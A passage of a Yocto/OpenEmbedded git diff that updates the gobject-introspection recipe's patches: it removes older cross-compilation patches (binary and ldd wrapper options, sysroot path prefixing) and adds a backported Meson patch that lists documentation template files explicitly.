+FILES:${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Port-cross-compilation-support-to-meson.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Port-cross-compilation-support-to-meson.patch
deleted file mode 100644
index 639f9c8f61..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Port-cross-compilation-support-to-meson.patch
+++ /dev/null
@@ -1,163 +0,0 @@
-From 0417a1bb08745f2bf5310d20b342c2b3b9b212d3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 15 Nov 2018 15:10:05 +0100
-Subject: [PATCH] Port cross-compilation support to meson
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gir/meson.build | 62 ++++++++++++++++++++++++++++++++++-------------
- meson.build | 4 ++-
- meson_options.txt | 20 +++++++++++++++
- 3 files changed, 68 insertions(+), 18 deletions(-)
-
-diff --git a/gir/meson.build b/gir/meson.build
-index c312100..a028033 100644
---- a/gir/meson.build
-+++ b/gir/meson.build
-@@ -41,16 +41,29 @@ gir_files = [
- typelibdir = join_paths(get_option('libdir'), 'girepository-1.0')
- install_data(gir_files, install_dir: girdir)
-
--scanner_command = [
-- python,
-- girscanner,
-- '--output=@OUTPUT@',
-- '--no-libtool',
-- '--quiet',
-- '--reparse-validate',
-- '--add-include-path', join_paths(meson.current_build_dir()),
-- '--add-include-path', join_paths(meson.current_source_dir()),
--]
-+if get_option('enable-host-gi')
-+ scanner_command = [
-+ 'g-ir-scanner',
-+ '--output=@OUTPUT@',
-+ '--no-libtool',
-+ '--quiet',
-+ '--reparse-validate',
-+ '--add-include-path', join_paths(meson.current_build_dir()),
-+ '--add-include-path', join_paths(meson.current_source_dir()),
-+ ]
-+else
-+ scanner_command = [
-+ python,
-+ girscanner,
-+ '--output=@OUTPUT@',
-+ '--no-libtool',
-+ '--quiet',
-+ '--reparse-validate',
-+ '--add-include-path', join_paths(meson.current_build_dir()),
-+ '--add-include-path', join_paths(meson.current_source_dir()),
-+ ]
-+endif
-+
-
- dep_type = glib_dep.type_name()
- if dep_type == 'internal'
-@@ -63,6 +76,12 @@ if dep_type == 'internal'
- '--extra-library=glib-2.0', '--extra-library=gobject-2.0']
- endif
-
-+if get_option('enable-gi-cross-wrapper') != ''
-+ scanner_command += ['--use-binary-wrapper=' + get_option('enable-gi-cross-wrapper')]
-+endif
-+if get_option('enable-gi-ldd-wrapper') != ''
-+ scanner_command += ['--use-ldd-wrapper=' + get_option('enable-gi-ldd-wrapper')]
-+endif
- # Take a glob and print to newlines
- globber = '''
- from glob import glob
-@@ -89,8 +108,8 @@ glib_command = scanner_command + [
-
- if dep_type == 'pkgconfig'
- glib_command += ['--external-library', '--pkg=glib-2.0']
-- glib_libdir = glib_dep.get_pkgconfig_variable('libdir')
-- glib_incdir = join_paths(glib_dep.get_pkgconfig_variable('includedir'), 'glib-2.0')
-+ glib_libdir = get_option('pkgconfig-sysroot-path') + glib_dep.get_pkgconfig_variable('libdir')
-+ glib_incdir = get_option('pkgconfig-sysroot-path') + join_paths(glib_dep.get_pkgconfig_variable('includedir'), 'glib-2.0')
- glib_libincdir = join_paths(glib_libdir, 'glib-2.0', 'include')
- glib_files += join_paths(glib_incdir, 'gobject', 'glib-types.h')
- glib_files += join_paths(glib_libincdir, 'glibconfig.h')
-@@ -345,7 +364,7 @@ if giounix_dep.found()
- dep_type = giounix_dep.type_name()
- if dep_type == 'pkgconfig'
- gio_command += ['--pkg=gio-unix-2.0']
-- giounix_includedir = join_paths(giounix_dep.get_pkgconfig_variable('includedir'), 'gio-unix-2.0')
-+ giounix_includedir = get_option('pkgconfig-sysroot-path') + join_paths(giounix_dep.get_pkgconfig_variable('includedir'), 'gio-unix-2.0')
- # Get the installed gio-unix header list
- ret = run_command(python, '-c', globber.format(join_paths(giounix_includedir, 'gio', '*.h')))
- if ret.returncode() != 0
-@@ -428,15 +447,24 @@ gir_files += custom_target('gir-girepository',
- )
-
- typelibs = []
-+if get_option('enable-gi-cross-wrapper') != ''
-+ gircompiler_command = [get_option('enable-gi-cross-wrapper'), gircompiler.full_path(), '-o', '@OUTPUT@', '@INPUT@',
-+ '--includedir', meson.current_build_dir(),
-+ '--includedir', meson.current_source_dir(),
-+ ]
-+else
-+ gircompiler_command = [gircompiler, '-o', '@OUTPUT@', '@INPUT@',
-+ '--includedir', meson.current_build_dir(),
-+ '--includedir', meson.current_source_dir(),
-+ ]
-+endif
-+
- foreach gir : gir_files
- typelibs += custom_target('generate-typelib-@0@'.format(gir).underscorify(),
- input: gir,
- output: '@BASENAME@.typelib',
- depends: [gobject_gir, ],
-- command: [gircompiler, '-o', '@OUTPUT@', '@INPUT@',
-- '--includedir', meson.current_build_dir(),
-- '--includedir', meson.current_source_dir(),
-- ],
-+ command: gircompiler_command,
- install: true,
- install_dir: typelibdir,
- )
-diff --git a/meson.build b/meson.build
-index a5e825f..a28490a 100644
---- a/meson.build
-+++ b/meson.build
-@@ -168,7 +168,9 @@ endif
- subdir('girepository')
- subdir('tools')
- subdir('giscanner')
--subdir('gir')
-+if get_option('enable-introspection-data') == true
-+ subdir('gir')
-+endif
- subdir('examples')
- subdir('docs')
- subdir('tests')
-diff --git a/meson_options.txt b/meson_options.txt
-index 445a68a..a325511 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -25,3 +25,23 @@ option('python', type: 'string', value: 'python3',
- option('gir_dir_prefix', type: 'string',
- description: 'Intermediate prefix for gir installation under ${prefix}'
- )
-+
-+option('enable-host-gi', type: 'boolean', value : false,
-+ description: 'Use gobject introspection tools installed in the host system (useful when cross-compiling)'
-+)
-+
-+option('enable-gi-cross-wrapper', type: 'string',
-+ description: 'Use a wrapper to run gicompiler and binaries produced by giscanner (useful when cross-compiling)'
-+)
-+
-+option('enable-gi-ldd-wrapper', type: 'string',
-+ description: 'Use a ldd wrapper instead of system ldd command in giscanner (useful when cross-compiling)'
-+)
-+
-+option('enable-introspection-data', type: 'boolean', value : true,
-+ description: 'Build introspection data (.gir and .typelib files) in addition to library and tools'
-+)
-+
-+option('pkgconfig-sysroot-path', type: 'string',
-+ description: 'Specify a sysroot path to prepend to pkgconfig output (useful when cross-compiling)'
-+)
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
index a15401aeb2..ba965092e1 100644
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
@@ -1,4 +1,4 @@
-From 673623851fb70c0e43cf79cef67b3751432ebe72 Mon Sep 17 00:00:00 2001
+From 74a0fee892235c722ac60ddea6ee79bc3d7a93f5 Mon Sep 17 00:00:00 2001
From: Sascha Silbe <x-yo17@se-silbe.de>
Date: Fri, 8 Jun 2018 13:55:10 +0200
Subject: [PATCH] Relocate the repository directory for native builds
@@ -21,7 +21,7 @@ Signed-off-by: Sascha Silbe <x-yo17@se-silbe.de>
2 files changed, 14 insertions(+), 3 deletions(-)
diff --git a/girepository/girepository.c b/girepository/girepository.c
-index ca5dc2b..7a4d17f 100644
+index 7d03485..20f4813 100644
--- a/girepository/girepository.c
+++ b/girepository/girepository.c
@@ -21,6 +21,8 @@
@@ -42,7 +42,7 @@ index ca5dc2b..7a4d17f 100644
/**
* SECTION:girepository
* @short_description: GObject Introspection repository manager
-@@ -212,9 +216,16 @@ init_globals (void)
+@@ -215,9 +219,16 @@ init_globals (void)
g_free (custom_dirs);
}
@@ -62,10 +62,10 @@ index ca5dc2b..7a4d17f 100644
typelib_search_path = g_slist_prepend (typelib_search_path, typelib_dir);
diff --git a/girepository/meson.build b/girepository/meson.build
-index 1d7aed6..5637fb5 100644
+index 786749a..15cf2a9 100644
--- a/girepository/meson.build
+++ b/girepository/meson.build
-@@ -44,7 +44,7 @@ girepo_internals_lib = static_library('girepository-internals',
+@@ -45,7 +45,7 @@ girepo_internals_lib = static_library('girepository-internals',
],
c_args: gi_hidden_visibility_cflags + custom_c_args,
include_directories : configinc,
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-build-Avoid-the-doctemplates-hack.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-build-Avoid-the-doctemplates-hack.patch
new file mode 100644
index 0000000000..b7d31ccfb0
--- /dev/null
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-build-Avoid-the-doctemplates-hack.patch
@@ -0,0 +1,219 @@
+From effb1e09dee263cdac4ec593e8caf316e6f01fe2 Mon Sep 17 00:00:00 2001
+From: Emmanuele Bassi <ebassi@gnome.org>
+Date: Tue, 11 Jan 2022 15:51:10 +0000
+Subject: [PATCH] build: Avoid the doctemplates hack
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The hack that copies the doctemplates directory into the build
+directory has stopped working with newer versions of Meson; while it's
+possible to copy files, custom_target() cannot depend on a directory.
+Additionally, the dependency has always been broken.
+
+Instead, we enumerate the template files—after all, it's not like they
+change a lot—and then we list them as dependencies for the test targets.
+
+Fixes: #414
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ giscanner/doctemplates/devdocs/meson.build | 19 +++++++
+ giscanner/doctemplates/mallard/meson.build | 63 ++++++++++++++++++++++
+ giscanner/meson.build | 14 ++---
+ tests/scanner/meson.build | 24 +++++----
+ 4 files changed, 98 insertions(+), 22 deletions(-)
+ create mode 100644 giscanner/doctemplates/devdocs/meson.build
+ create mode 100644 giscanner/doctemplates/mallard/meson.build
+
+diff --git a/giscanner/doctemplates/devdocs/meson.build b/giscanner/doctemplates/devdocs/meson.build
+new file mode 100644
+index 00000000..2037182a
+--- /dev/null
++++ b/giscanner/doctemplates/devdocs/meson.build
+@@ -0,0 +1,19 @@
++doc_templates += files([
++ 'Gjs/_doc.tmpl',
++ 'Gjs/_index.tmpl',
++ 'Gjs/_method.tmpl',
++ 'Gjs/_methods.tmpl',
++ 'Gjs/_properties.tmpl',
++ 'Gjs/_signals.tmpl',
++ 'Gjs/_staticmethods.tmpl',
++ 'Gjs/_vfuncs.tmpl',
++ 'Gjs/base.tmpl',
++ 'Gjs/callback.tmpl',
++ 'Gjs/class.tmpl',
++ 'Gjs/default.tmpl',
++ 'Gjs/enum.tmpl',
++ 'Gjs/function.tmpl',
++ 'Gjs/interface.tmpl',
++ 'Gjs/method.tmpl',
++ 'Gjs/namespace.tmpl',
++])
+diff --git a/giscanner/doctemplates/mallard/meson.build b/giscanner/doctemplates/mallard/meson.build
+new file mode 100644
+index 00000000..5fe4e2af
+--- /dev/null
++++ b/giscanner/doctemplates/mallard/meson.build
+@@ -0,0 +1,63 @@
++base_templates = files([
++ 'base.tmpl',
++ 'class.tmpl',
++ 'namespace.tmpl',
++])
++
++c_templates = files([
++ 'C/callback.tmpl',
++ 'C/class.tmpl',
++ 'C/constructor.tmpl',
++ 'C/default.tmpl',
++ 'C/enum.tmpl',
++ 'C/field.tmpl',
++ 'C/function.tmpl',
++ 'C/interface.tmpl',
++ 'C/method.tmpl',
++ 'C/namespace.tmpl',
++ 'C/property.tmpl',
++ 'C/record.tmpl',
++ 'C/signal.tmpl',
++ 'C/vfunc.tmpl',
++])
++
++gjs_templates = files([
++ 'Gjs/callback.tmpl',
++ 'Gjs/class.tmpl',
++ 'Gjs/constructor.tmpl',
++ 'Gjs/default.tmpl',
++ 'Gjs/enum.tmpl',
++ 'Gjs/field.tmpl',
++ 'Gjs/function.tmpl',
++ 'Gjs/interface.tmpl',
++ 'Gjs/method.tmpl',
++ 'Gjs/namespace.tmpl',
++ 'Gjs/property.tmpl',
++ 'Gjs/record.tmpl',
++ 'Gjs/signal.tmpl',
++ 'Gjs/vfunc.tmpl',
++])
++
++py_templates = files([
++ 'Python/callback.tmpl',
++ 'Python/class.tmpl',
++ 'Python/constructor.tmpl',
++ 'Python/default.tmpl',
++ 'Python/enum.tmpl',
++ 'Python/field.tmpl',
++ 'Python/function.tmpl',
++ 'Python/interface.tmpl',
++ 'Python/method.tmpl',
++ 'Python/namespace.tmpl',
++ 'Python/property.tmpl',
++ 'Python/record.tmpl',
++ 'Python/signal.tmpl',
++ 'Python/vfunc.tmpl',
++])
++
++doc_templates += [
++ base_templates,
++ c_templates,
++ gjs_templates,
++ py_templates,
++]
+diff --git a/giscanner/meson.build b/giscanner/meson.build
+index 41edcd44..3d7dc678 100644
+--- a/giscanner/meson.build
++++ b/giscanner/meson.build
+@@ -53,17 +53,9 @@ configure_file(input : '../girepository/gdump.c',
+
+ install_subdir('doctemplates', install_dir: giscannerdir)
+
+-# XXX: this doesn't track the input, but there is nothing to copy many files
+-# in meson.
+-doc_templates = custom_target('copy-templates',
+- input : 'doctemplates',
+- output : 'doctemplates',
+- command : [
+- python, '-c',
+- 'import sys, shutil;' +
+- 'shutil.rmtree(sys.argv[2], ignore_errors=True);' +
+- 'shutil.copytree(sys.argv[1], sys.argv[2])',
+- '@INPUT@', '@OUTPUT@'])
++doc_templates = []
++subdir('doctemplates/devdocs')
++subdir('doctemplates/mallard')
+
+ flex = find_program('flex', 'win_flex')
+ bison = find_program('bison', 'win_bison')
+diff --git a/tests/scanner/meson.build b/tests/scanner/meson.build
+index 5176b957..b81b3fd5 100644
+--- a/tests/scanner/meson.build
++++ b/tests/scanner/meson.build
+@@ -525,19 +525,26 @@ foreach gir : test_girs
+ endforeach
+
+ if has_girdoctool and glib_dep.type_name() == 'pkgconfig'
++ doctool_env = environment()
++ doctool_env.set('srcdir', meson.current_source_dir())
++ doctool_env.set('builddir', meson.current_build_dir())
++
+ foreach language : ['C', 'Python', 'Gjs']
+ regress_docs = custom_target(
+ 'generate-docs-' + language,
+ input: regress_gir,
+- depends: [doc_templates],
++ depend_files: doc_templates,
+ build_by_default: not cairo_deps_found,
++ env: doctool_env,
+ output: 'Regress-1.0-' + language,
+ command: [
+ python, girdoctool,
+ '--add-include-path=' + join_paths(build_root, 'gir'),
+ '--add-include-path=' + meson.current_build_dir(),
+ '--language', language,
+- '@INPUT@', '-o', '@OUTPUT@'],
++ '--templates-dir=' + join_paths(meson.current_source_dir(), '../../giscanner/doctemplates'),
++ '@INPUT@', '-o', '@OUTPUT@',
++ ],
+ )
+
+ if cairo_deps_found
+@@ -546,10 +553,7 @@ if has_girdoctool and glib_dep.type_name() == 'pkgconfig'
+ python,
+ args: [gi_tester, 'Regress-1.0-' + language],
+ depends: [regress_docs],
+- env: [
+- 'srcdir=' + meson.current_source_dir(),
+- 'builddir=' + meson.current_build_dir(),
+- ],
++ env: doctool_env,
+ )
+ endif
+ endforeach
+@@ -557,9 +561,10 @@ if has_girdoctool and glib_dep.type_name() == 'pkgconfig'
+ regress_sections = custom_target(
+ 'generate-docs-sections',
+ input: regress_gir,
+- depends: [doc_templates],
++ depend_files: [doc_templates],
+ build_by_default: not cairo_deps_found,
+ output: 'Regress-1.0-sections.txt',
++ env: doctool_env,
+ command: [
+ python, girdoctool,
+ '--add-include-path=' + join_paths(build_root, 'gir'),
+@@ -574,10 +579,7 @@ if has_girdoctool and glib_dep.type_name() == 'pkgconfig'
+ python,
+ args: [gi_tester, 'Regress-1.0-sections.txt'],
+ depends: [regress_sections],
+- env: [
+- 'srcdir=' + meson.current_source_dir(),
+- 'builddir=' + meson.current_build_dir(),
+- ],
++ env: doctool_env,
+ )
+ endif
+ endif
+--
+2.20.1
+
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-add-a-lib-dirs-envvar-option.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-add-a-lib-dirs-envvar-option.patch
deleted file mode 100644
index ddd955354d..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-add-a-lib-dirs-envvar-option.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 6653c28f0b76aad86e26c512b03efcec6d9d9e95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 3 Jan 2018 17:02:01 +0200
-Subject: [PATCH] giscanner: add a --lib-dirs-envvar option
-
-By default LD_LIBRARY_PATH is set to the list of target library paths;
-this breaks down in cross-compilation environment, as we need to run a
-native emulation wrapper rather than the target binary itself. This patch
-allows exporting those paths to a different environment variable
-which can be picked up and used by the wrapper.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- giscanner/ccompiler.py | 4 ++--
- giscanner/dumper.py | 3 ++-
- giscanner/scannermain.py | 3 +++
- 3 files changed, 7 insertions(+), 3 deletions(-)
-
-diff --git a/giscanner/ccompiler.py b/giscanner/ccompiler.py
-index 32c9296..3fb262b 100644
---- a/giscanner/ccompiler.py
-+++ b/giscanner/ccompiler.py
-@@ -174,7 +174,7 @@ class CCompiler(object):
-
- self._cflags_no_deprecation_warnings = "-Wno-deprecated-declarations"
-
-- def get_internal_link_flags(self, args, libtool, libraries, extra_libraries, libpaths):
-+ def get_internal_link_flags(self, args, libtool, libraries, extra_libraries, libpaths, lib_dirs_envvar):
- # An "internal" link is where the library to be introspected
- # is being built in the current directory.
-
-@@ -184,7 +184,7 @@ class CCompiler(object):
- if os.name == 'nt':
- runtime_path_envvar = ['LIB', 'PATH']
- else:
-- runtime_path_envvar = ['LD_LIBRARY_PATH', 'DYLD_FALLBACK_LIBRARY_PATH']
-+ runtime_path_envvar = ['LD_LIBRARY_PATH', 'DYLD_FALLBACK_LIBRARY_PATH'] if not lib_dirs_envvar else [lib_dirs_envvar]
- # Search the current directory first
- # (This flag is not supported nor needed for Visual C++)
- args.append('-L.')
-diff --git a/giscanner/dumper.py b/giscanner/dumper.py
-index 2b851a5..10a7c39 100644
---- a/giscanner/dumper.py
-+++ b/giscanner/dumper.py
-@@ -244,7 +244,8 @@ class DumpCompiler(object):
- libtool,
- self._options.libraries,
- self._options.extra_libraries,
-- self._options.library_paths)
-+ self._options.library_paths,
-+ self._options.lib_dirs_envvar)
- args.extend(pkg_config_libs)
-
- else:
-diff --git a/giscanner/scannermain.py b/giscanner/scannermain.py
-index 9013562..9c9fe12 100644
---- a/giscanner/scannermain.py
-+++ b/giscanner/scannermain.py
-@@ -126,6 +126,9 @@ def _get_option_parser():
- parser.add_option("", "--use-ldd-wrapper",
- action="store", dest="ldd_wrapper", default=None,
- help="wrapper to use instead of ldd (useful when cross-compiling)")
-+ parser.add_option("", "--lib-dirs-envvar",
-+ action="store", dest="lib_dirs_envvar", default=None,
-+ help="environment variable to write a list of library directories to (for running the transient binary), instead of standard LD_LIBRARY_PATH")
- parser.add_option("", "--program-arg",
- action="append", dest="program_args", default=[],
- help="extra arguments to program")
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch
deleted file mode 100644
index b484b5e9e6..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f742da8b3913f4818d3f419117076afe62f4dbf4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 5 Sep 2018 16:46:52 +0200
-Subject: [PATCH] giscanner: ignore error return codes from ldd-wrapper
-
-prelink-rtld, which we use instead of ldd returns 127 when it can't find a library.
-It is not an error per se, but it breaks subprocess.check_output().
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- giscanner/shlibs.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/giscanner/shlibs.py b/giscanner/shlibs.py
-index d67df95..80352a6 100644
---- a/giscanner/shlibs.py
-+++ b/giscanner/shlibs.py
-@@ -102,7 +102,7 @@ def _resolve_non_libtool(options, binary, libraries):
- args.extend(['otool', '-L', binary.args[0]])
- else:
- args.extend(['ldd', binary.args[0]])
-- output = subprocess.check_output(args)
-+ output = subprocess.run(args, check=False, stdout=subprocess.PIPE).stdout
- if isinstance(output, bytes):
- output = output.decode("utf-8", "replace")
-
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-disable-tests-when-cross-compiling.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-disable-tests-when-cross-compiling.patch
deleted file mode 100644
index c4951b22bb..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-disable-tests-when-cross-compiling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 2c384187cc22113c0c9b1cd233948118f7c085ef Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 25 Mar 2019 13:28:48 +0100
-Subject: [PATCH] meson.build: disable tests when cross-compiling
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gobject-introspection/merge_requests/64]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 2544ff3..4c16fe5 100644
---- a/meson.build
-+++ b/meson.build
-@@ -168,7 +168,9 @@ if get_option('enable-introspection-data') == true
- endif
- subdir('examples')
- subdir('docs')
--subdir('tests')
-+if not meson.is_cross_build()
-+ subdir('tests')
-+endif
-
- install_data('Makefile.introspection', install_dir: join_paths(get_option('datadir'), 'gobject-introspection-1.0'))
- install_data('m4/introspection.m4', install_dir: join_paths(get_option('datadir'), 'aclocal'))
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0003-giscanner-add-use-binary-wrapper-option.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0003-giscanner-add-use-binary-wrapper-option.patch
deleted file mode 100644
index b954dcebd8..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0003-giscanner-add-use-binary-wrapper-option.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 5f985fd8a24764ccb38af6335d4584d7e33fc3a1 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 19 Oct 2015 18:26:40 +0300
-Subject: [PATCH] giscanner: add --use-binary-wrapper option
-
-With this option, giscanner will use a wrapper executable to run
-binaries it's producing, instead of running them directly. This
-is useful when binaries are cross-compiled and cannot be run directly,
-but they can be run using for example QEMU emulation.
-
-Upstream-Status: Pending [review on oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- giscanner/scannermain.py | 14 ++++++++++++++
- 1 file changed, 14 insertions(+)
-
-diff --git a/giscanner/scannermain.py b/giscanner/scannermain.py
-index c004fb1..0b6a2d2 100644
---- a/giscanner/scannermain.py
-+++ b/giscanner/scannermain.py
-@@ -120,6 +120,9 @@ def _get_option_parser():
- parser.add_option("", "--program",
- action="store", dest="program", default=None,
- help="program to execute")
-+ parser.add_option("", "--use-binary-wrapper",
-+ action="store", dest="wrapper", default=None,
-+ help="wrapper to use for running programs (useful when cross-compiling)")
- parser.add_option("", "--program-arg",
- action="append", dest="program_args", default=[],
- help="extra arguments to program")
-@@ -417,6 +420,17 @@ def create_binary(transformer, options, args):
- gdump_parser.get_error_quark_functions())
-
- shlibs = resolve_shlibs(options, binary, options.libraries)
-+ if options.wrapper:
-+ # The wrapper needs the binary itself, not the libtool wrapper script,
-+ # so we check if libtool has sneaked the binary into .libs subdirectory
-+ # and adjust the path accordingly
-+ import os.path
-+ dir_name, binary_name = os.path.split(binary.args[0])
-+ libtool_binary = os.path.join(dir_name, '.libs', binary_name)
-+ if os.path.exists(libtool_binary):
-+ binary.args[0] = libtool_binary
-+ # Then prepend the wrapper to the command line to execute
-+ binary.args = [options.wrapper] + binary.args
- gdump_parser.set_introspection_binary(binary)
- gdump_parser.parse()
- return shlibs
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0004-giscanner-add-a-use-ldd-wrapper-option.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0004-giscanner-add-a-use-ldd-wrapper-option.patch
deleted file mode 100644
index 79264ed086..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0004-giscanner-add-a-use-ldd-wrapper-option.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From cba7807888a4a1f1d630d16c51c89859209334b3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 30 Oct 2015 16:28:46 +0200
-Subject: [PATCH] giscanner: add a --use-ldd-wrapper option
-
-This is useful in cross-compile environments where system's ldd
-command does not work on binaries built for a different architecture
-
-Upstream-Status: Pending [review in oe-core]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- giscanner/scannermain.py | 3 +++
- giscanner/shlibs.py | 4 +++-
- 2 files changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/giscanner/scannermain.py b/giscanner/scannermain.py
-index 0b6a2d2..9013562 100644
---- a/giscanner/scannermain.py
-+++ b/giscanner/scannermain.py
-@@ -123,6 +123,9 @@ def _get_option_parser():
- parser.add_option("", "--use-binary-wrapper",
- action="store", dest="wrapper", default=None,
- help="wrapper to use for running programs (useful when cross-compiling)")
-+ parser.add_option("", "--use-ldd-wrapper",
-+ action="store", dest="ldd_wrapper", default=None,
-+ help="wrapper to use instead of ldd (useful when cross-compiling)")
- parser.add_option("", "--program-arg",
- action="append", dest="program_args", default=[],
- help="extra arguments to program")
-diff --git a/giscanner/shlibs.py b/giscanner/shlibs.py
-index 2c61f2f..d67df95 100644
---- a/giscanner/shlibs.py
-+++ b/giscanner/shlibs.py
-@@ -96,7 +96,9 @@ def _resolve_non_libtool(options, binary, libraries):
- args.extend(libtool)
- args.append('--mode=execute')
- platform_system = platform.system()
-- if platform_system == 'Darwin':
-+ if options.ldd_wrapper:
-+ args.extend([options.ldd_wrapper, binary.args[0]])
-+ elif platform_system == 'Darwin':
- args.extend(['otool', '-L', binary.args[0]])
- else:
- args.extend(['ldd', binary.args[0]])
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0005-Prefix-pkg-config-paths-with-PKG_CONFIG_SYSROOT_DIR-.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0005-Prefix-pkg-config-paths-with-PKG_CONFIG_SYSROOT_DIR-.patch
deleted file mode 100644
index 26f8da6d41..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0005-Prefix-pkg-config-paths-with-PKG_CONFIG_SYSROOT_DIR-.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 740d91151ffe576e0c08513af9d7bc8133eb9dfb Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 8 Oct 2015 18:30:35 +0300
-Subject: [PATCH] Prefix pkg-config paths with PKG_CONFIG_SYSROOT_DIR
- environment variable
-
-This environment variable sets the location of sysroot directory in cross-compilation
-environments; if the variable is not set, the prefix will be empty.
-
-Upstream-Status: Pending [review on oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- m4/introspection.m4 | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/m4/introspection.m4 b/m4/introspection.m4
-index d89c3d9..b562266 100644
---- a/m4/introspection.m4
-+++ b/m4/introspection.m4
-@@ -56,14 +56,14 @@ m4_define([_GOBJECT_INTROSPECTION_CHECK_INTERNAL],
- INTROSPECTION_GIRDIR=
- INTROSPECTION_TYPELIBDIR=
- if test "x$found_introspection" = "xyes"; then
-- INTROSPECTION_SCANNER=`$PKG_CONFIG --variable=g_ir_scanner gobject-introspection-1.0`
-- INTROSPECTION_COMPILER=`$PKG_CONFIG --variable=g_ir_compiler gobject-introspection-1.0`
-- INTROSPECTION_GENERATE=`$PKG_CONFIG --variable=g_ir_generate gobject-introspection-1.0`
-+ INTROSPECTION_SCANNER=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_scanner gobject-introspection-1.0`
-+ INTROSPECTION_COMPILER=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_compiler gobject-introspection-1.0`
-+ INTROSPECTION_GENERATE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_generate gobject-introspection-1.0`
- INTROSPECTION_GIRDIR=`$PKG_CONFIG --variable=girdir gobject-introspection-1.0`
- INTROSPECTION_TYPELIBDIR="$($PKG_CONFIG --variable=typelibdir gobject-introspection-1.0)"
- INTROSPECTION_CFLAGS=`$PKG_CONFIG --cflags gobject-introspection-1.0`
- INTROSPECTION_LIBS=`$PKG_CONFIG --libs gobject-introspection-1.0`
-- INTROSPECTION_MAKEFILE=`$PKG_CONFIG --variable=datadir gobject-introspection-1.0`/gobject-introspection-1.0/Makefile.introspection
-+ INTROSPECTION_MAKEFILE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=datadir gobject-introspection-1.0`/gobject-introspection-1.0/Makefile.introspection
- fi
- AC_SUBST(INTROSPECTION_SCANNER)
